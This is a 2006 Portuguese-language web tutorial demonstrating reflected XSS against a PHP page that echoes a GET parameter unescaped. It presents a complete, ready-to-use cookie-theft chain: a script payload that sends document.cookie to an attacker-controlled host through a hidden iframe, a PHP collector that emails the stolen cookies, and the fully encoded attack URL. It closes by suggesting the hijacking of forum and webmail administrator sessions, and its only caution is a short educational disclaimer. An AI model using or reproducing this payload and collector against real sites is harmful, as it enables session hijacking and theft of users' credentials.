XSS - Um exemplo de ataque

Esse artigo tenta demonstrar aplicações de um ataque de XSS, uma técnica muito presente em nosso dia-a-dia.

[ Hits: 42.103 ]

Por: Ragen Dazs em 10/10/2006 | Blog: http://www.orkut.com


XSS - Um exemplo de ataque



Vamos direto ao ponto. Um exemplo de código PHP vulnerável:

<?php
/*
 * Um simples exemplo de cookies que geralmente
 * são utilizados em sistemas web.
 * PHPSESSID -> SID padrão da configuração do PHP
 * login e senha -> cookies ficticios
 */
setcookie('PHPSSESID', 'meu_sid');
setcookie('login', 'meu_login');
setcookie('senha', 'minha_senha');

/**
 * Parte vulnerável do código: Imprime os dados passados
 * pelo usuário sem nenhum tratamento
 */
echo $_GET['var'];

?>

O nosso objetivo


Eis o JavaScript que iremos atravessar para nosso alvo através da variável $_GET['var'], do script PHP acima:

<script>
  document.write('<iframe width=1 height=1
src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(/ /g,'')+'></iframe>')
</script>

Breve explicação meio longa


Nosso objetivo é atravessar o JavaScript citado acima mas, em outras palavras, explicando o JavaScript, nosso objetivo é simplesmente capturar os dados de cookie do www.alvo.com e enviar para o www.coletor.com.

Utilizando cookies em JavaScript


A instrução document.cookie retorna os cookies da página HTML. Ou seja, um código <script>alert(document.cookie)</script> no script PHP acima irá produzir o seguinte alerta de saída:

PHPSSESID=meu_sid; login=meu_login; senha=minha_senha

Complementando a instrução com "replace", document.cookie.replace(/ /g,''), iremos remover os caracteres em branco do alerta de saída citado acima. Ou seja, agora teremos:

PHPSSESID=meu_sid;login=meu_login;senha=minha_senha

O coletor de dados


Sob nosso domínio temos o site www.coletor.com, que por sua vez receberá os dados do cookie enviados pelo nosso script através do script rc.php que enviará os dados para meu@email.com:

<?php
if ($_GET['xss']) {
   mail('meu@email.com','Dados capturados', $_GET['xss']);
}
?>

Testando


Acesse a URL:

http://www.alvo.com/codigo_vulneravel.php?var=<script>document.write('<iframe%
20width=1%20height=1%20src=http://www.coletor.com/rc.php?xss='%2B
document.cookie.replace(/%20/g,'')%2B'></iframe>')</script>

Nota para tradução da URL:
  • %20: Caractere em branco
  • %2B: Sinal +

Se nenhum erro do interpretador do JavaScript for acusado em seu navegador, que geralmente é exibido no rodapé da página (ou alertas mais explícitos quando se possui depuradores de JavaScript), verifique o meu@email.com.

Possíveis utilizações


O impacto desse ataque é mais grave em sistemas interativos, como fóruns e webmails. Pois como mostrado, com os dados de cookie é possível capturar senhas de e-mail, de usuários e administradores do fórum vulnerável. Para aqueles que se interessaram por esse artigo recomendo a leitura sobre seqüestro de sessões e do artigo abaixo:
Gostaria de salientar que as informações aqui contidas são de caráter educativo. Não me responsabilizo por sua utilização, ou eventuais dados ao seu sistema ou de terceiros.

Considerações finais


O ambiente de testes desse artigo utiliza a configuração padrão do PHP.

   

Páginas do artigo
   1. XSS - Um exemplo de ataque
Outros artigos deste autor

Populando sua SpamTrap com e-mails relevantes

Projeto Icecream (parte 1)

Tratamento de dados fornecidos pelo usuário: projetando sistemas com mais segurança

Adaptação das empresas de TI aos trabalhadores da era digital

Entendendo um pouco sobre os daemons

Leitura recomendada

Instalações PHP não seguras

Dados sensíveis em arquivos com extensão .inc

Segurança: Autenticando o PHP com HTTP (Authentication Required)

Criptografia do método GET no PHP

PHP: Programando com segurança

  
Comentários
[1] Comentário enviado por vagnerd em 10/10/2006 - 15:38h

Muito interessante =D
Parabéns pelo artigo!

[2] Comentário enviado por balani em 11/10/2006 - 01:05h

Muito interessante e util


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts